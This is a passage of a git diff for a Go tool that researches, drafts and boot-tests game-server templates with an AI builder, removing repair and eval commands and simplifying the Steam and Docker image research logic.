 // /usr/bin/start_server) so the probe reads those scripts too.
 func startupScriptPaths(game map[string]any) []string {
 	cmd, _ := game["defaultStartupCommand"].(string)

cmd/gbrgames/inspect_test.go

@@ -21,7 +21,7 @@ func TestEnvNameMatchesNodeAgent(t *testing.T) {
 	}
 }
 
-// Probe output of an image built around its own user (trimmed)
+// Probe output as ARK's image produces it (trimmed)
 const arkProbe = probeMarker + ` passwd
 root:x:0:0:root:/root:/bin/bash
 gameserver:x:25000:25000::/home/gameserver:/bin/bash
@@ -34,7 +34,7 @@ bash|/usr/bin/bash
 ` + probeMarker + ` script /usr/bin/start_server
 #!/bin/bash
 cd /home/gameserver/steamcmd
-echo "$START_PARAMS ${ENABLE_DEBUG} $HOME"
+echo "$ASA_START_PARAMS ${ENABLE_DEBUG} $HOME"
 `
 
 func arkFacts() *imageFacts {
@@ -55,7 +55,7 @@ func TestProbeParsing(t *testing.T) {
 	if !strings.Contains(f.Scripts["/usr/bin/start_server"], "steamcmd") {
 		t.Fatalf("script not captured: %q", f.Scripts)
 	}
-	if want := []string{"ENABLE_DEBUG", "START_PARAMS"}; !reflect.DeepEqual(f.EnvRead, want) {
+	if want := []string{"ASA_START_PARAMS", "ENABLE_DEBUG"}; !reflect.DeepEqual(f.EnvRead, want) {
 		t.Errorf("envRead = %v, want %v (HOME is common and left out)", f.EnvRead, want)
 	}
 }
@@ -63,7 +63,7 @@ func TestProbeParsing(t *testing.T) {
 func TestSuggestContainerUser(t *testing.T) {
 	// Locked home owned by another uid: use that account, with its own group
 	if f := arkFacts(); f.SuggestedContainerUser != "25000:25000" {
-		t.Errorf("suggested %q, want 25000:25000", f.SuggestedContainerUser)
+		t.Errorf("ARK: suggested %q, want 25000:25000", f.SuggestedContainerUser)
 	}
 
 	// uid 1000 images need nothing
@@ -92,9 +92,9 @@ func TestCheckTemplate(t *testing.T) {
 	f := arkFacts()
 	game := map[string]any{
 		"defaultConfig": map[string]any{"RCONPort": 27020, "MaxPlayers": 70},
-		// A command where START_PARAMS is assigned, SERVER_MAP has a default, RCON_PORT is the
+		// Mirrors ARK's old command: ASA_START_PARAMS is assigned, SERVER_MAP has a default, RCON_PORT is the
 		// misnamed one, MAX_PLAYERS is set by a setting, MISSING has no default at all
-		"defaultStartupCommand": `export START_PARAMS="${START_PARAMS:-${SERVER_MAP:-DefaultMap}?RCONPort=${RCON_PORT:-27020} -Max=${MAX_PLAYERS:-70} ${MISSING}}"`,
+		"defaultStartupCommand": `export ASA_START_PARAMS="${ASA_START_PARAMS:-${SERVER_MAP:-TheIsland}?RCONPort=${RCON_PORT:-27020} -Max=${MAX_PLAYERS:-70} ${MISSING}}"`,
 	}
 	problems, _ := checkTemplate(game, f)
 	joined := strings.Join(problems, "\n")
@@ -103,7 +103,7 @@ func TestCheckTemplate(t *testing.T) {
 			t.Errorf("missing problem %q in:\n%s", want, joined)
 		}
 	}
-	for _, unwanted := range []string{"START_PARAMS", "SERVER_MAP", "MAX_PLAYERS}"} {
+	for _, unwanted := range []string{"ASA_START_PARAMS", "SERVER_MAP", "MAX_PLAYERS}"} {
 		if strings.Contains(joined, unwanted) {
 			t.Errorf("false problem about %s in:\n%s", unwanted, joined)
 		}
@@ -114,7 +114,7 @@ func TestCheckTemplate(t *testing.T) {
 
 	// With the fixes, only the deliberately missing variable is left; 25000:1000 counts (same uid)
 	game["containerUser"] = "25000:1000"
-	game["defaultStartupCommand"] = `export START_PARAMS="${START_PARAMS:-x}?RCONPort=${RCONPORT:-27020}"`
+	game["defaultStartupCommand"] = `export ASA_START_PARAMS="${ASA_START_PARAMS:-x}?RCONPort=${RCONPORT:-27020}"`
 	if problems, _ := checkTemplate(game, f); len(problems) != 0 {
 		t.Errorf("fixed template still has problems: %v", problems)
 	}

cmd/gbrgames/main.go

@@ -4,15 +4,12 @@
 //	go run ./cmd/gbrgames import export.json  # write games/<id>/ from GET /api/v1/admin/games
 //	go run ./cmd/gbrgames export -out p.json  # build the games_published payload CI sends to the panel
 //	go run ./cmd/gbrgames boottest-payload ID # build the deploy message the node-agent's BootTest runs
-//	go run ./cmd/gbrgames boot-test ID        # boot-test a game with the node-agent, as CI does (Steam cache)
 //	go run ./cmd/gbrgames inspect-image -game ID   # read the image's facts and check the template against them
 //	go run ./cmd/gbrgames first-boot -game ID      # start the server once, untouched; record its log and files
 //	go run ./cmd/gbrgames draft -name N -image I   # have an AI model write a new game's template from those facts
 //	go run ./cmd/gbrgames research -name N         # find how a game's server runs: variants, images, Steam app
 //	go run ./cmd/gbrgames build -name N -variant V # first boot, draft, and boot the draft until it works
-//	go run ./cmd/gbrgames repair -id ID            # fix an existing template that no longer boots
-//	go run ./cmd/gbrgames eval -ids all            # build known games blind and score the drafts
-//	go run ./cmd/gbrgames worker                   # take research/build/repair jobs from the panel (see BUILDER.md)
+//	go run ./cmd/gbrgames worker                   # take research/build jobs from the panel (see BUILDER.md)
 package main
 
 import (
@@ -34,8 +31,6 @@ func main() {
 		err = runExport(os.Args[2:])
 	case "boottest-payload":
 		err = runBootTestPayload(os.Args[2:])
-	case "boot-test":
-		err = runBootTest(os.Args[2:])
 	case "inspect-image":
 		err = runInspectImage(os.Args[2:])
 	case "first-boot":
@@ -46,10 +41,6 @@ func main() {
 		err = runResearch(os.Args[2:])
 	case "build":
 		err = runBuild(os.Args[2:])
-	case "repair":
-		err = runRepair(os.Args[2:])
-	case "eval":
-		err = runEval(os.Args[2:])
 	case "worker":
 		err = runWorker(os.Args[2:])
 	default:
@@ -62,6 +53,6 @@ func main() {
 }
 
 func usage() {
-	fmt.Fprintln(os.Stderr, "usage: gbrgames validate [-games DIR] | import [-games DIR] [-all] EXPORT.json | export [-repo R] [-commit SHA] [-out FILE] | boottest-payload [-out FILE] ID | boot-test ID | inspect-image [-game ID] [-json] [-no-pull] [IMAGE] | first-boot [-game ID | -image IMAGE] [-env K=V] [-max D] [-quiet D] [-out DIR] | draft -name NAME -image IMAGE [-steam-app ID] [-first-boot REPORT] [-provider ollama|gemini] [-model M] | research -name NAME [-notes N] [-out FILE] | build -name NAME -variant JSON|@FILE [-out FILE] | repair -id ID [-reason R] | eval [-ids all] [-out eval.md] | worker [-once]")
+	fmt.Fprintln(os.Stderr, "usage: gbrgames validate [-games DIR] | import [-games DIR] [-all] EXPORT.json | export [-repo R] [-commit SHA] [-out FILE] | boottest-payload [-out FILE] ID | inspect-image [-game ID] [-json] [-no-pull] [IMAGE] | first-boot [-game ID | -image IMAGE] [-env K=V] [-max D] [-quiet D] [-out DIR] | draft -name NAME -image IMAGE [-steam-app ID] [-first-boot REPORT] [-provider ollama|gemini] [-model M] | research -name NAME [-notes N] [-out FILE] | build -name NAME -variant JSON|@FILE [-out FILE] | worker [-once]")
 	os.Exit(2)
 }

cmd/gbrgames/repair.go

@@ -1,140 +0,0 @@
-package main
-
-import (
-	"encoding/json"
-	"errors"
-	"flag"
-	"fmt"
-	"os"
-	"path/filepath"
-	"strings"
-)
-
-// repair fixes an existing template that stopped working (a game update, a changed image), the way build
-// fixes a fresh draft: the template is booted as nodes run it, a failure is investigated and diagnosed,
-// and the model changes only what the diagnosis says. A template that boots as it is needs no repair.
-// The result replaces games/<id>/ in a pull request.
-
-func runRepair(args []string) error {
-	fs := flag.NewFlagSet("repair", flag.ExitOnError)
-	gamesDir := fs.String("games", "games", "directory holding one folder per game")
-	schemaDir := fs.String("schemas", "schema", "directory holding the JSON Schemas")
-	id := fs.String("id", "", "the game to repair (its folder under -games)")
-	reason := fs.String("reason", "", "why it is being repaired, e.g. the failing boot test")
-	provider := fs.String("provider", "ollama", "ollama or gemini")
-	modelName := fs.String("model", "", "model name (default as for draft)")
-	attempts := fs.Int("attempts", 3, "fix rounds for validation problems, each time")
-	bootRounds := fs.Int("boot-rounds", 5, "boots of the template at most")
-	out := fs.String("out", "", "write the result JSON here")
-	fs.Parse(args)
-	if *id == "" {
-		return errors.New("repair needs -id")
-	}
-	res, err := repair(buildOptions{gamesDir: *gamesDir, schemaDir: *schemaDir, id: *id, notes: *reason,
-		provider: *provider, model: *modelName, attempts: *attempts, bootRounds: *bootRounds, agentImage: agentImageFromEnv()})
-	if res != nil && *out != "" {
-		raw, _ := json.MarshalIndent(res, "", "  ")
-		if werr := os.WriteFile(*out, raw, 0o644); werr != nil && err == nil {
-			err = werr
-		}
-	}
-	if err != nil {
-		return err
-	}
-	switch {
-	case res.NoChange:
-		fmt.Printf("[repair] %s boots as it is: nothing to repair\n", res.Dir)
-	case res.Passed:
-		fmt.Printf("[repair] %s repaired and booted with the node-agent\n", res.Dir)
-	default:
-		return fmt.Errorf("%s still has problems:\n- %s", res.Dir, strings.Join(res.Problems, "\n- "))
-	}
-	return nil
-}
-
-func repair(o buildOptions) (*buildResult, error) {
-	dir := filepath.Join(o.gamesDir, o.id)
-	g, err := loadMap(filepath.Join(dir, "game.yaml"))
-	if err != nil {
-		return nil, err
-	}
-	test, _ := loadMap(filepath.Join(dir, "test.yaml"))
-	if test == nil {
-		test = map[string]any{}
-	}
-	o.name, _ = g["name"].(string)
-	image, _ := g["defaultDockerImage"].(string)
-	steamApp := ""
-	if ic, ok := g["installConfig"].(map[string]any); ok && g["installMethod"] == "STEAMCMD" {
-		steamApp = fmt.Sprint(ic["appId"])
-	}
-	res := &buildResult{GameID: o.id, Dir: dir, Image: image, Repair: true}
-	if out, err := runCmd("docker", "pull", "-q", image); err != nil {
-		return res, fmt.Errorf("docker pull %s: %v: %s", image, err, out)
-	}
-
-	// The model starts from the template as it is, as if it had written it, with the facts read from the
-	// image; it only ever gets asked to fix what a diagnosis found
-	notes := "this game already has a template (your previous answer) that a node can no longer run. Repair it: " +
-		"change only what each diagnosis says, and keep everything that works"
-	if o.notes != "" {
-		notes += ". Why it is being repaired: " + o.notes
-	}
-	d, err := newDrafter(draftJob{GamesDir: o.gamesDir, SchemaDir: o.schemaDir, Name: o.name, ID: o.id, Image: image,
-		SteamApp: steamApp, Notes: notes, Provider: o.provider, Model: o.model, NoPull: true, Repair: true})
-	if err != nil {
-		return res, err
-	}
-	current, err := json.Marshal(map[string]any{"game": g, "test": test})
-	if err != nil {
-		return res, err
-	}
-	d.last = string(current)
-
-	if err := bootAndFix(o, d, res, true); err != nil {
-		return res, err
-	}
-	res.NoChange = res.Passed && d.rounds == 0
-	if res.NoChange {
-		res.Verified = append(res.Verified, "the template boots as it is: nothing to repair")
-	}
-	res.Summary = repairSummary(o, res)
-	return res, nil
-}
-
-// repairSummary is the pull request's description for a repair.
-func repairSummary(o buildOptions, res *buildResult) string {
-	var b strings.Builder
-	fmt.Fprintf(&b, "Repaired by the GBR AI builder. **Review before merging**: the diff shows exactly what changed.\n\n")
-	fmt.Fprintf(&b, "- Game: **%s** (`games/%s`)\n- Image: `%s`\n- Model rounds: %d\n", o.name, o.id, res.Image, res.Rounds)
-	if o.notes != "" {
-		fmt.Fprintf(&b, "- Why: %s\n", o.notes)
-	}
-	if len(res.Verified) > 0 {
-		b.WriteString("\n**Checked for real** (measured by the builder, not the model's word)\n")
-		for _, v := range res.Verified {
-			fmt.Fprintf(&b, "- %s\n", v)
-		}
-	}
-	if g, err := loadMap(filepath.Join(res.Dir, "game.yaml")); err == nil {
-		if urls := downloadURLs(g); len(urls) > 0 {
-			b.WriteString("\n**Review carefully: nodes download from these addresses**\n")
-			for _, u := range urls {
-				fmt.Fprintf(&b, "- %s\n", u)
-			}
-		}
-	}
-	if len(res.Problems) > 0 {
-		b.WriteString("\n**Still open** (the builder could not fix these)\n")
-		for _, p := range res.Problems {
-			fmt.Fprintf(&b, "- %s\n", firstLine(p))
-		}
-	}
-	if len(res.Diagnoses) > 0 {
-		b.WriteString("\n**What the builder found** (after each failed boot)\n")
-		for i, a := range res.Diagnoses {
-			fmt.Fprintf(&b, "%d. Cause: %s\n   Fix: %s\n   Outcome: %s\n", i+1, firstLine(a.Cause), firstLine(a.Fix), a.Outcome)
-		}
-	}
-	return b.String()
-}

cmd/gbrgames/research.go

@@ -76,7 +76,7 @@ var researchSchema = map[string]any{
 
 func runResearch(args []string) error {
 	fs := flag.NewFlagSet("research", flag.ExitOnError)
-	gameName := fs.String("name", "", "the game's name, as players know it")
+	gameName := fs.String("name", "", "the game's name, e.g. \"Valheim\"")
 	notes := fs.String("notes", "", "what the admin asked for (crossplay, a modded edition...)")
 	provider := fs.String("provider", "ollama", "ollama or gemini")
 	modelName := fs.String("model", "", "model name (default as for draft)")
@@ -171,13 +171,11 @@ func research(m model, gameName, notes string, pages int) (*researchResult, erro
 
 const researchPrompt = "You research how to host a game's dedicated server for GBR Hosting, a game server host. Servers run " +
 	"in Docker on Linux, as a non-root user, with a volume at /server. From the search results and pages given, list " +
-	"the ways this game's dedicated server can be run (variants): separate editions of the game with their own server, " +
-	"crossplay builds, or notably different server images. For each variant give:\n" +
-	"- images: how to run this server, best first. When the game has a dedicated server on Steam that runs on Linux, " +
-	"cm2network/steamcmd (the plain SteamCMD route, installing the server into /server) is its only image, and " +
-	"there is no separate variant for a community image of the same server: those keep their saves outside /server. " +
-	"Docker Hub images that appear in the pages and run as a non-root user are only for servers that aren't on Steam " +
-	"for Linux (Windows-only servers that need Proton or Wine, games not on Steam).\n" +
+	"the ways this game's dedicated server can be run (variants): different editions (e.g. Java vs Bedrock, Evolved vs " +
+	"Ascended), crossplay builds, or notably different server images. For each variant give:\n" +
+	"- images: Docker Hub images that run this server, best first (prefer images that run as a non-root user, and the " +
+	"plain SteamCMD route cm2network/steamcmd when the game ships a Linux dedicated server on Steam). Only images that " +
+	"appear in the pages.\n" +
 	"- steamAppId: the Steam app id of the DEDICATED SERVER (not the game itself), if installed via SteamCMD; else \"\".\n" +
 	"- startupHint: the command that starts the server from its install folder /server, with the launch options " +
 	"for name, port, world and save location exactly as the pages document them; \"\" if unknown.\n" +
@@ -238,15 +236,11 @@ func pickPages(hits []searchHit, n int) []searchHit {
 	return out
 }
 
-// Our own sites (the public templates, the panel) are never a source: research would read our templates
-// back, and an eval build would copy the answer it's being scored against
-var ownSites = regexp.MustCompile(`(?i)^https?://([a-z0-9-]+\.)*(gbreed\.com|gbrhosting\.com)(/|:|$)`)
-
 func dedupeHits(hits []searchHit) []searchHit {
 	seen := map[string]bool{}
 	var out []searchHit
 	for _, h := range hits {
-		if h.URL == "" || seen[h.URL] || ownSites.MatchString(h.URL) {
+		if h.URL == "" || seen[h.URL] {
 			continue
 		}
 		seen[h.URL] = true
@@ -256,18 +250,13 @@ func dedupeHits(hits []searchHit) []searchHit {
 }
 
 func readPage(reader, pageURL string) (string, error) {
-	return readPageLimit(reader, pageURL, 9000)
-}
-
-// readPageLimit reads a page as text through the reader, cut to limit bytes.
-func readPageLimit(reader, pageURL string, limit int) (string, error) {
 	raw, err := httpGet(strings.TrimRight(reader, "/")+"/"+pageURL, 60*time.Second)
 	if err != nil {
 		return "", err
 	}
 	text := string(raw)
-	if len(text) > limit {
-		text = text[:limit] + "\n...(truncated)"
+	if len(text) > 9000 {
+		text = text[:9000] + "\n...(truncated)"
 	}
 	return text, nil
 }
@@ -305,14 +294,14 @@ func trimToJSON(answer string) string {
 // Steam apps must exist and be readable anonymously (what SteamCMD installs need). What fails is dropped
 // and noted; a variant left with nothing runnable can't be recommended.
 func verifyVariants(res *researchResult) {
-	var appIDs []string
+	var apps []string
 	for _, v := range res.Variants {
 		if v.SteamAppID != "" {
-			appIDs = append(appIDs, v.SteamAppID)
+			apps = append(apps, v.SteamAppID)
 		}
 	}
-	apps := steamApps(appIDs)
-	anyRunnable, linuxSteam := false, false
+	names := steamAppNames(apps)
+	anyRunnable := false
 	for i := range res.Variants {
 		v := &res.Variants[i]
 		var images []string
@@ -330,12 +319,10 @@ func verifyVariants(res *researchResult) {
 		}
 		v.Images = images
 		if v.SteamAppID != "" {
-			if app, ok := apps[v.SteamAppID]; ok {
-				v.Verified = append(v.Verified, fmt.Sprintf("Steam app %s is %q", v.SteamAppID, app.name))
-				v.Images = withSteamCMD(v.Images, app.linux)
-				if app.linux {
-					linuxSteam = true
-					v.Verified = append(v.Verified, "it ships a Linux server, so it is installed with SteamCMD into /server")
+			if name, ok := names[v.SteamAppID]; ok {
+				v.Verified = append(v.Verified, fmt.Sprintf("Steam app %s is %q", v.SteamAppID, name))
+				if !hasImage(v.Images, "cm2network/steamcmd") {
+					v.Images = append(v.Images, "cm2network/steamcmd")
 				}
 			} else {
 				v.Problems = append(v.Problems, "Steam app "+v.SteamAppID+" not found for anonymous SteamCMD")
@@ -354,73 +341,44 @@ func verifyVariants(res *researchResult) {
 		res.Reason = "unknown"
 		res.Message = "No variant has a Docker image or Steam app that could be confirmed. " + res.Message
 	}
-	if linuxSteam {
-		res.Variants = steamCMDOnly(res.Variants)
-	}
-	res.Variants = oneOptionPerImage(res.Variants)
-	recommend(res.Variants)
-}
-
-// steamCMDOnly keeps only the SteamCMD options once the game has a Linux server on Steam. Ready-made images
-// of such servers keep their files and saves in their own folders (/config, /home/...), outside /server,
-// and read settings from their own variables, so they can't be made or repaired into a working template.
-func steamCMDOnly(variants []variant) []variant {
-	var out []variant
-	for _, v := range variants {
-		if len(v.Images) > 0 && isSteamCMDImage(v.Images[0]) && v.SteamAppID != "" {
-			out = append(out, v)
-		}
-	}
-	return out
-}
-
-// recommend marks exactly one variant recommended, among the runnable ones. A variant that installs a Linux
-// server with SteamCMD comes before the model's choice: it keeps everything under /server, as nodes need.
-func recommend(variants []variant) {
-	runnable := func(v variant) bool { return len(v.Images) > 0 }
-	steamFirst := func(v variant) bool { return runnable(v) && isSteamCMDImage(v.Images[0]) }
+	// Exactly one recommendation, among the runnable ones
 	rec := -1
-	for _, want := range []func(variant) bool{
-		func(v variant) bool { return v.Recommended && steamFirst(v) },
-		steamFirst,
-		func(v variant) bool { return v.Recommended && runnable(v) },
-		runnable,
-	} {
-		for i, v := range variants {
-			if rec < 0 && want(v) {
+	for i, v := range res.Variants {
+		if v.Recommended && rec < 0 && len(v.Images) > 0 {
+			rec = i
+		}
+		res.Variants[i].Recommended = false
+	}
+	if rec < 0 {
+		for i, v := range res.Variants {
+			if len(v.Images) > 0 {
 				rec = i
+				break
 			}
 		}
 	}
-	for i := range variants {
-		variants[i].Recommended = i == rec
+	if rec >= 0 {
+		res.Variants[rec].Recommended = true
 	}
 }
 
-var (
-	appName  = regexp.MustCompile(`"common"\s*\{[^}]*?"name"\s+"([^"]+)"`)
-	appLinux = regexp.MustCompile(`"oslist"\s+"[^"]*linux`)
-)
-
-type steamApp struct {
-	name  string
-	linux bool // ships a Linux server: SteamCMD installs it straight into /server
-}
-
-func parseAppInfo(out string) (steamApp, bool) {
-	m := appName.FindStringSubmatch(out)
-	if m == nil {
-		return steamApp{}, false
+func hasImage(images []string, name string) bool {
+	for _, i := range images {
+		if i == name || strings.HasPrefix(i, name+":") {
+			return true
+		}
 	}
-	return steamApp{name: m[1], linux: appLinux.MatchString(out)}, true
+	return false
 }
 
-// steamApps asks SteamCMD (anonymously, in its official image) for each app's info: an app that
+var appName = regexp.MustCompile(`"common"\s*\{[^}]*?"name"\s+"([^"]+)"`)
+
+// steamAppNames asks SteamCMD (anonymously, in its official image) for each app's info: an app that
 // anonymous SteamCMD can't see can't be installed by the node-agent either.
-func steamApps(apps []string) map[string]steamApp {
-	found := map[string]steamApp{}
+func steamAppNames(apps []string) map[string]string {
+	names := map[string]string{}
 	if len(apps) == 0 {
-		return found
+		return names
 	}
 	for _, app := range apps {
 		if !regexp.MustCompile(`^\d+$`).MatchString(app) {
@@ -432,59 +390,9 @@ func steamApps(apps []string) map[string]steamApp {
 			fmt.Printf("[research] steamcmd for app %s: %v\n", app, err)
 			continue
 		}
-		if info, ok := parseAppInfo(out); ok {
-			found[app] = info
+		if m := appName.FindStringSubmatch(out); m != nil {
+			names[app] = m[1]
 		}
 	}
-	return found
-}
-
-// withSteamCMD adds the plain SteamCMD route to a variant's images. When the Steam app ships a Linux server
-// it is the only route: it installs into /server, which nodes keep, while ready-made images keep their
-// files elsewhere. For Windows-only servers it stays last, behind images that bring Proton or Wine.
-func withSteamCMD(images []string, linux bool) []string {
-	var others []string
-	for _, i := range images {
-		if !isSteamCMDImage(i) {
-			others = append(others, i)
-		}
-	}
-	if linux {
-		return []string{"cm2network/steamcmd"}
-	}
-	return append(others, "cm2network/steamcmd")
-}
-
-// oneOptionPerImage turns a variant that can run on several images into one choice per image, so the
-// admin picks exactly how the server runs and the build uses that and nothing else.
-func oneOptionPerImage(variants []variant) []variant {
-	var out []variant
-	for _, v := range variants {
-		if len(v.Images) <= 1 {
-			out = append(out, v)
-			continue
-		}
-		for _, img := range v.Images {
-			o := v
-			o.Images = []string{img}
-			o.Verified = nil
-			for _, line := range v.Verified {
-				if !strings.HasPrefix(line, "image ") || line == "image "+img+" exists" {
-					o.Verified = append(o.Verified, line)
-				}
-			}
-			if isSteamCMDImage(img) {
-				o.ID = v.ID + "-steamcmd"
-				o.Title = v.Title + " (SteamCMD)"
-				o.Description = strings.TrimSpace(v.Description + " Installed with SteamCMD into the server volume.")
-			} else {
-				o.ID = v.ID + "-" + gameID(img)
-				o.Title = v.Title + " (image " + img + ")"
-				o.Description = strings.TrimSpace(v.Description + " Runs in the ready-made image " + img + ".")
-				o.SteamAppID = ""
-			}
-			out = append(out, o)
-		}
-	}
-	return out
+	return names
 }

cmd/gbrgames/research_test.go

@@ -4,17 +4,17 @@ import "testing"
 
 func TestPickPagesPrefersDocsAndOnePerSite(t *testing.T) {
 	hits := []searchHit{
-		{URL: "https://blog.example.com/example-server"},
-		{URL: "https://github.com/a/example-docker"},
+		{URL: "https://blog.example.com/valheim-server"},
+		{URL: "https://github.com/a/valheim-docker"},
 		{URL: "https://github.com/b/other"},
-		{URL: "https://hub.docker.com/r/x/example"},
-		{URL: "https://blog.example.com/example-server"},
+		{URL: "https://hub.docker.com/r/x/valheim"},
+		{URL: "https://blog.example.com/valheim-server"},
 	}
 	got := pickPages(hits, 3)
 	if len(got) != 3 {
 		t.Fatalf("got %d pages", len(got))
 	}
-	if got[0].URL != "https://github.com/a/example-docker" || got[1].URL != "https://hub.docker.com/r/x/example" || got[2].URL != "https://blog.example.com/example-server" {
+	if got[0].URL != "https://github.com/a/valheim-docker" || got[1].URL != "https://hub.docker.com/r/x/valheim" || got[2].URL != "https://blog.example.com/valheim-server" {
 		t.Errorf("order: %v", got)
 	}
 }
@@ -26,112 +26,16 @@ func TestTrimToJSON(t *testing.T) {
 }
 
 func TestAppNameFromAppInfo(t *testing.T) {
-	out := `"1000000"
+	out := `"896660"
 {
 	"common"
 	{
-		"name"		"Example Dedicated Server"
+		"name"		"Valheim Dedicated Server"
 		"type"		"Tool"
 	}
 }`
 	m := appName.FindStringSubmatch(out)
-	if m == nil || m[1] != "Example Dedicated Server" {
+	if m == nil || m[1] != "Valheim Dedicated Server" {
 		t.Errorf("got %v", m)
 	}
 }
-
-func TestParseAppInfoFindsLinuxServers(t *testing.T) {
-	linux, ok := parseAppInfo(`"1000000"
-{
-	"common"
-	{
-		"name"		"Example Dedicated Server"
-		"oslist"		"windows,linux"
-	}
-}`)
-	if !ok || linux.name != "Example Dedicated Server" || !linux.linux {
-		t.Errorf("got %+v %v", linux, ok)
-	}
-	// A server that only exists for Windows (needs Proton or Wine)
-	windows, _ := parseAppInfo(`"common" { "name" "Example Server" "oslist" "windows" }`)
-	if windows.linux {
-		t.Error("windows-only app reported as linux")
-	}
-}
-
-func TestWithSteamCMDIsTheOnlyRouteForLinuxServers(t *testing.T) {
-	images := []string{"someone/example-server", "cm2network/steamcmd", "other/example"}
-	got := withSteamCMD(images, true)
-	if len(got) != 1 || got[0] != "cm2network/steamcmd" {
-		t.Errorf("linux: %v", got)
-	}
-	got = withSteamCMD([]string{"someone/proton-example"}, false)
-	if len(got) != 2 || got[1] != "cm2network/steamcmd" {
-		t.Errorf("windows-only: %v", got)
-	}
-}
-
-func TestRecommendPrefersTheSteamCMDVariant(t *testing.T) {
-	v := []variant{
-		{ID: "image", Recommended: true, Images: []string{"someone/example-server"}},
-		{ID: "steam", Images: []string{"cm2network/steamcmd", "someone/example-server"}},
-		{ID: "broken", Recommended: true},
-	}
-	recommend(v)
-	if v[0].Recommended || !v[1].Recommended || v[2].Recommended {
-		t.Errorf("got %+v", v)
-	}
-	// Without a SteamCMD variant, the model's runnable choice stands
-	v = []variant{{ID: "a", Images: []string{"x/a"}}, {ID: "b", Recommended: true, Images: []string{"x/b"}}}
-	recommend(v)
-	if v[0].Recommended || !v[1].Recommended {
-		t.Errorf("got %+v", v)
-	}
-}
-
-func TestSteamCMDOnlyDropsImageVariantsOfLinuxSteamGames(t *testing.T) {
-	// A Linux Steam server researched as two variants: SteamCMD, and a community image under its own title
-	got := steamCMDOnly([]variant{
-		{ID: "dedicated", SteamAppID: "1000000", Images: []string{"cm2network/steamcmd"}},
-		{ID: "vanilla-stable", Images: []string{"someone/example-server"}},
-	})
-	if len(got) != 1 || got[0].ID != "dedicated" {
-		t.Errorf("got %+v", got)
-	}
-}
-
-func TestOneOptionPerImageThenSteamCMDRecommended(t *testing.T) {
-	// A variant runnable two ways becomes one option per way, SteamCMD recommended
-	v := oneOptionPerImage([]variant{{
-		ID: "dedicated", Title: "Example Dedicated Server", Recommended: true, SteamAppID: "1000000",
-		Images:   []string{"cm2network/steamcmd", "someone/example-server"},
-		Verified: []string{"image someone/example-server exists", "Steam app 1000000 is \"Example Dedicated Server\""},
-	}})
-	recommend(v)
-	if len(v) != 2 {
-		t.Fatalf("want one option per image, got %+v", v)
-	}
-	steam, image := v[0], v[1]
-	if steam.Title != "Example Dedicated Server (SteamCMD)" || !steam.Recommended || steam.SteamAppID != "1000000" || len(steam.Images) != 1 {
-		t.Errorf("SteamCMD option: %+v", steam)
-	}
-	if image.Title != "Example Dedicated Server (image someone/example-server)" || image.Recommended || image.SteamAppID != "" {
-		t.Errorf("image option: %+v", image)
-	}
-	for _, line := range steam.Verified {
-		if line == "image someone/example-server exists" {
-			t.Error("SteamCMD option lists the other option's image check")
-		}
-	}
-}
-
-func TestResearchSkipsOurOwnSites(t *testing.T) {
-	got := dedupeHits([]searchHit{
-		{URL: "https://www.gitea.gbreed.com/gbreed-public/gbr-games/src/branch/main/games/x/game.yaml"},
-		{URL: "https://gbrhosting.com/games"},
-		{URL: "https://example.com/server-guide"},
-	})
-	if len(got) != 1 || got[0].URL != "https://example.com/server-guide" {
-		t.Errorf("got %v", got)
-	}
-}

cmd/gbrgames/validate.go

@@ -168,9 +168,7 @@ func validateGame(dir, folder string, gameSchema, testSchema *jsonschema.Schema)
 			add("test.yaml config.%s is not a key of this game", key)
 		}
 		if sensitiveKey.MatchString(key) {
-			add("test.yaml config.%s looks like a credential; remove it. A new server starts without it, and the boot test "+
-				"does too: if the server can't, give the setting \"x-generate\" (a password per server). Map it under "+
-				"'secrets' to a CI secret only for a value that must be real (a license or account ID)", key)
+			add("test.yaml config.%s looks like a credential; map it under 'secrets' to a Gitea secret instead", key)
 		}
 	}
 	for _, key := range sortedKeys(secrets) {

cmd/gbrgames/worker.go

@@ -9,17 +9,15 @@ import (
 	"fmt"
 	"io"
 	"net/http"
-	"net/url"
 	"os"
 	"os/exec"
 	"path/filepath"
-	"regexp"
 	"strings"
 	"sync"
 	"time"
 )
 
-// worker runs the AI builder. It asks the panel for queued jobs (it only connects out,
+// worker runs the AI builder on our own hardware. It asks the panel for queued jobs (it only connects out,
 // like node-agents do), runs research or build in a fresh clone of this repo, streams the output to the
 // panel as the job's log, and finishes a build with a pull request opened as the bot account. CI then
 // validates and boot-tests that pull request like any other.
@@ -32,8 +30,7 @@ import (
 
 type builderJob struct {
 	ID       string          `json:"id"`
-	Kind     string          `json:"kind"` // "research", "build" or "repair"
-	GameID   string          `json:"gameId"` // repair: the template to fix
+	Kind     string          `json:"kind"` // "research" or "build"
 	GameName string          `json:"gameName"`
 	Notes    string          `json:"notes"`
 	Variant  json.RawMessage `json:"variant"`
@@ -44,8 +41,6 @@ type jobResult struct {
 	Build    *buildResult    `json:"build,omitempty"`
 	PRURL    string          `json:"prUrl,omitempty"`
 	Error    string          `json:"error,omitempty"`
-	// A repair whose template already boots: no pull request
-	NoChange bool `json:"noChange,omitempty"`
 }
 
 type workerConfig struct {
@@ -54,58 +49,6 @@ type workerConfig struct {
 	workDir, name         string
 	poll                  time.Duration
 	provider, model       string
-	botLogin, botEmail    string // the token's account, used as the commit author
-}
-
-// checkBot reads which account GITEA_TOKEN belongs to and makes sure it can push to the games repo, so a
-// wrong token or missing permission shows when the worker starts, not at the end of a 30-minute build.
-func (c *workerConfig) checkBot() error {
-	var user struct {
-		Login string `json:"login"`
-		Email string `json:"email"`
-	}
-	if err := c.giteaGet("/user", &user); err != nil {
-		if !strings.HasPrefix(err.Error(), "HTTP 403") {
-			return fmt.Errorf("GITEA_TOKEN: %w", err)
-		}
-		// A repository-only token (all the worker needs) may not read its own account: name the author from
-		// BOT_NAME instead. Whether it can push is still checked below.
-		user.Login = envOr("BOT_NAME", "gbr-bot")
-	}
-	var repo struct {
-		Permissions struct {
-			Push bool `json:"push"`
-		} `json:"permissions"`
-	}
-	if err := c.giteaGet("/repos/"+c.repo, &repo); err != nil {
-		return fmt.Errorf("%s: %w", c.repo, err)
-	}
-	if !repo.Permissions.Push {
-		return fmt.Errorf("the account %s can't push to %s: give it Write access there", user.Login, c.repo)
-	}
-	c.botLogin, c.botEmail = user.Login, user.Email
-	if c.botEmail == "" {
-		c.botEmail = user.Login + "@users.noreply"
-	}
-	return nil
-}
-
-func (c *workerConfig) giteaGet(p string, out any) error {
-	req, err := http.NewRequest(http.MethodGet, c.gitea+"/api/v1"+p, nil)
-	if err != nil {
-		return err
-	}
-	req.Header.Set("Authorization", "token "+c.botToken)
